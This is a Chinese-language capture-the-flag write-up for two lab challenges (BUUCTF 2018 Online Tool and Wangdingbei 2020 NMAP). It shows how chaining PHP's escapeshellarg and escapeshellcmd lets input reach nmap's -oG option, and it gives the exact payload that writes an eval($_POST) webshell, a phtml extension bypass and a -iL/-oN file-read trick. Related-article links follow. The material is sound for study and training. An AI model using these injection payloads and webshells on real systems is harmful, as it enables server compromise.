[BUUCTF 2018]Online Tool

给出了源码 审计

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
} if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

发现是经过 escapeshellargescapeshellcmd函数过滤后 进行namp

百度一下escapeshellargescapeshellcmd函数的作用:

escapeshellarg:

escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数

功能 :escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,
这样以确保能够直接将一个字符串传入 shell 函数,shell 函数包含 exec(), system() 执行运算符(反引号)

escapeshellcmd:

escapeshellcmd — shell 元字符转义

功能:escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。
此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。 反斜线(\)会在以下字符之前插入:
&#;`|\?~<>^()[]{}$*, \x0A 和 \xFF*。 *’ 和 “ 仅在不配对儿的时候被转义。
在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。
粗略的总结一下:

escapeshellarg:将参数中的字符串两侧加上',并将其中的'进行转义 然后在两侧加上'达到拼接的目的

escapeshellcmd:将参数中的字符串中间的特殊字符转义,并且将落单的'进行转义

这两个函数本意都是防止进行额外的命令执行,但是这两个函数连在一起使用就会出现问题: escapeshellarg()+escapeshellcmd() 之殇

也就是说两个函数连续使用会造成'未被转义,从而触发命令执行

接下来看题目

system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);中的$host参数是我们可控的,可以根据上面的漏洞来进行命令执行

我们一步一步地尝试(中间的一些特殊字符的转义会省略,为了着重突出'\)

由于|,&等符号都会被转义,我们可以尝试nmap命令-oG,可以实现将命令和结果写到指定文件中

  • 我们输入payload:?host=<?php eval($_POST["mwkks"]);?> -oG mwkks.php

经过escapeshellarg函数:'<?php eval($_POST["mwkks"]);?> -oG mwkks.php'

这样两边已经被加上了单引号,Linux会把引号中的当为字符串,不会解析变量(双引号中的变量仍会解析),这样我们的shell就无法写入

  • 根据前文提到的漏洞,我们尝试输入payload:?host='<?php eval($_POST["mwkks"]);?> -oG mwkks.php'

经过escapeshellarg函数:''\''<?php eval($_POST["mwkks"]);?> -oG mwkks.php'\'''

经过escapeshellcmd函数:''\\''<?php eval($_POST["mwkks"]);?> -oG mwkks.php'\\'''

拼接到system语句中:nmap -T5 -sT -Pn --host-timeout 2 -F ''\\''<?php eval($_POST["mwkks"]);?> -oG mwkks.php'\\'''

nmap -T5 -sT -Pn --host-timeout 2 -F \<?php eval($_POST["mwkks"]);?> -oG mwkks.php\\

-oG后的文件会变成mwkks.php\\而不是我们预期的mwkks.php

所以我们传入正确的payload:?host=' <?php eval($_POST["mwkks"]);?> -oG mwkks.php '(区别在于多加了空格 让末尾的\和php后缀分开)

菜刀连一句话 得到flag

shell

[网鼎杯 2020 朱雀组]NMAP

这题一看到题目就想到了和上一题一样的思路 但是经过测试 发现php被过滤了

php改为phtml 成功写入shell,得到flag

看别的师傅的Write Up学到了一个新的姿势 利用nmap语句 来进行文件读取:

访问http://.../mwkks.txt:

-iL-oN命令解释如下:

-iL:

-iL  从inputfilename文件中读取扫描的目标。在这个文件中要有一个主机或者网络的列表,由空格键、制表键或者回车键作为分割符。如果使用-iL -,nmap就会从标准输入stdin读取主机名字。你可以从指定目标一节得到更加详细的信息`

-oN:

-oN <filespec> (标准输出)
要求将标准输出直接写入指定 的文件。

所以payload意思就是将指定文件下的内容输出到-oN后指定的文件

先到这里,以后有新姿势继续补充...

NMAP类型题目 (escapeshellarg,escapeshellcmd使用不当)的更多相关文章

  1. [原题复现+审计][BUUCTF 2018]WEB Online Tool(escapeshellarg和escapeshellcmd使用不当导致rce)

    简介  原题复现:https://github.com/glzjin/buuctf_2018_online_tool (环境php5.6.40)  考察知识点:escapeshellarg和escap ...

  2. Sum 类型题目总结

    Sum类的题目一般这样: input: nums[], target output: satisfied arrays/ lists/ number 拿到题目,首先分析: 1. 是几个数的sum 2. ...

  3. nSum “已知target再求和”类型题目总结:n-2重循环+left/right

    Sum类的题目一般这样: input: nums[], target output: satisfied arrays/ lists/ number 拿到题目,首先分析: 1. 是几个数的sum 2. ...

  4. leetcode 链表类型题目解题总结

    最基础的方式要做到非常熟练,要熟练到不思考就能写,但又需明白各处的要求和陷阱 合并两个有序链表的操作,在前面加上一个初始节点,注意while循环和退出时的处理,理解如何处理其中一个链表遍历完的情况 L ...

  5. leetcode math类型题目解题总结

    2. Add Two Numbers https://leetcode.com/problems/add-two-numbers/description/ class Solution { publi ...

  6. substring类型题目的解题模板

    https://discuss.leetcode.com/topic/30941/here-is-a-10-line-template-that-can-solve-most-substring-pr ...

  7. 编辑距离Edit Distance 非常典型的DP类型题目

    https://leetcode.com/problems/edit-distance/?tab=Description 真的非常好,也非常典型. https://discuss.leetcode.c ...

  8. 软工+C(2017第1期) 题目设计、点评和评分

    // 下一篇:分数和checklist 如何设计题目 教学中的一个问题是老师出题太简单了,题目设计一开始上来就不紧凑,我认为一个好的课程应该上来就给你紧凑感,而不是先上来"轻松2-3周&qu ...

  9. 软工+C(1): 题目设计、点评和评分

    // 下一篇:分数和checklist 如何设计题目 教学中的一个问题是老师出题太简单了,题目设计一开始上来就不紧凑,我认为一个好的课程应该上来就给你紧凑感,而不是先上来"轻松2-3周&qu ...

随机推荐

  1. 10、Entity Framework Core 3.1入门教程-执行原生SQL

    本文章是根据 微软MVP solenovex(杨旭)老师的视频教程编写而来,再加上自己的一些理解. 视频教程地址:https://www.bilibili.com/video/BV1xa4y1v7rR ...

  2. Combine 框架,从0到1 —— 1.核心概念

      本文首发于 Ficow Shen's Blog,原文地址: Combine 框架,从0到1 -- 1.核心概念.     内容概览 前言 核心概念 RxSwift Combine 总结 参考内容 ...

  3. 小程序 使用Promise封装request 接口请求

    //httpService.jsconst host = 'https://baidu.com/ceshi' // 接口请求的域名 // get请求使用 json对象转字符串 (formatParam ...

  4. Python全局变量的简单使用

    对Pyhon实现静态变量全局变量的方法详解 python不能像C++一样直接定义一个static变量或者通过extern来导入别的库的变量而实现数据共享,但是python的思想是通过模块化来解决这个问 ...

  5. OpenSIPS 2.4.2 高并发下,日志丢失怎么办

      问题年年有,今年特别多.最近公司对呼叫中心平台做了大幅度重构,基于OpenSIPS实现的会话管理服务,在高并发压测过程中,发现OpenSIPS的日志居然出现丢失的情况,简直让我食不知味,困惑不已. ...

  6. 每日JS逆向练习之斗鱼登录密码加密,今天你练了吗?

    一切的基本功都是为后期调试滑块验证码准备的. 有兴趣的关注一下知识图谱与大数据公众号,当然不关注也无所谓.今天来看看斗鱼登录密码加密,正所谓熟能生巧,这种简单一点的基本3-5分钟就要能抠出来,有兴趣得 ...

  7. Android开发之最火的开源框架之一Xutils2详解(摘自开源作者官方介绍详解)

    此框架说实话还是挺不错的,挺好用的,功能多,所以我也用过. 由于CSDN博客写的字数有限制,所以全文的用法打包成了markdown 文件,因为markdown真的太还用了. 全文下载地址为: http ...

  8. 自定义吐司以及Toast的各种用法,详解。教你学会使用各种各样的Toast

    package com.david_Custoast; import com.david_Custoast.R; import android.app.Activity; import android ...

  9. mysql 8.0.11安装教程

    安装环境:win7 1. 下载安装包 下载地址:https://dev.mysql.com/downloads/file/?id=476233 2. 解压zip包 3. 初始化my.ini 创建my. ...

  10. 每日一道 LeetCode (41):阶乘后的零

    每天 3 分钟,走上算法的逆袭之路. 前文合集 每日一道 LeetCode 前文合集 代码仓库 GitHub: https://github.com/meteor1993/LeetCode Gitee ...